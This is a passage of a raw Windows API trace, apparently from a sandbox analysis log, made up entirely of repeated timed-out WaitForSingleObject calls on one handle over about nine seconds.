WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.825] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.842] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.856] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.871] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.887] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.912] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.920] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.937] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.962] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.981] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.996] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.021] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.035] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.058] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.059] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.074] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.090] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.105] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.121] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.137] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.152] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.172] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.183] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.414] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.417] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.434] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.451] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.464] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.480] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.496] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.511] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.526] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.542] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.558] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.578] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.589] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.605] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.620] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.636] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.652] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.667] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.693] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.698] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.714] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.729] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.745] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.761] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.776] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.792] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.807] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.823] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.839] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.854] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.870] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.885] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.901] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.917] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.932] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.949] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.963] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.979] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.995] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.010] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.026] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.041] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.059] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.073] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.088] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.104] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.120] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.135] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.151] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.167] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.182] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.197] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.213] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.229] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.255] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.260] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.275] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.291] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.307] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.322] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.339] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.354] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.369] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.385] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.400] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.416] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.431] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.448] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.463] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.478] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.494] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.509] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.525] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.541] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.556] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.572] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.587] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.603] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.621] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.662] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.665] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.681] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.705] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.718] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.728] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.743] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.759] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.774] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.790] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.806] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.821] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.837] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.853] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.868] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.884] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.899] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.915] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.931] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.946] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.962] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.977] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.993] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.010] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.024] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.042] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.055] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.071] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.087] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.103] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.120] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.133] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.149] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.165] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.180] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.196] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.211] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.227] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.257] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.258] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.274] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.289] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.305] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.321] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.336] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.352] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.367] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.397] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.399] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.414] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.430] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.446] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.461] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.477] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.492] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.508] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.523] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.539] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.586] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.612] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.622] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.664] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.726] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.745] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.773] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.820] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.877] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.913] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.950] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.965] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.977] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.995] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.023] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.053] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.054] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.100] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.116] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.132] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.151] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.228] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.252] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.259] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.272] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.300] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.327] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.338] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.350] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.386] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.397] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.445] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.463] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.476] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.490] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.509] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.528] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.541] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.557] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.600] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.619] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.647] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.693] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.711] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.736] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.756] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.772] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.799] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.803] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.834] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.873] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.881] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.897] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.921] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.927] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.959] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.005] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.052] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.070] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.108] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.116] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.138] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.177] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.203] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.210] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.224] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.271] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.296] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.304] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.326] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.336] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.354] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.369] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.396] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.415] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.430] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.463] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.484] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.491] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.505] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.524] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.538] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.552] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.598] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.614] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.630] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.645] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.676] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.699] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.711] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.724] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.756] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.772] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.787] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.802] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.818] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.835] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.850] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.867] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.890] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.004] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.071] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.115] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.160] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.209] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.275] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.329] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.364] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.421] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.459] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.515] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.551] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.584] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.610] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.638] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.031] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.056] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.118] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.201] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.204] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.228] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.235] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.253] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.297] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.328] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.330] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.344] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.375] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.401] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.407] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.422] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.443] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.453] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.498] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.502] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.518] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.531] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.551] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.576] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.625] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.649] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.671] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.717] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.751] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.796] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.813] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.843] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.884] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.892] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.917] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.921] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.946] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.965] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.968] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.009] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.033] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.046] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.069] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.078] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.124] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.142] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.170] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.217] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.238] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.253] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.284] 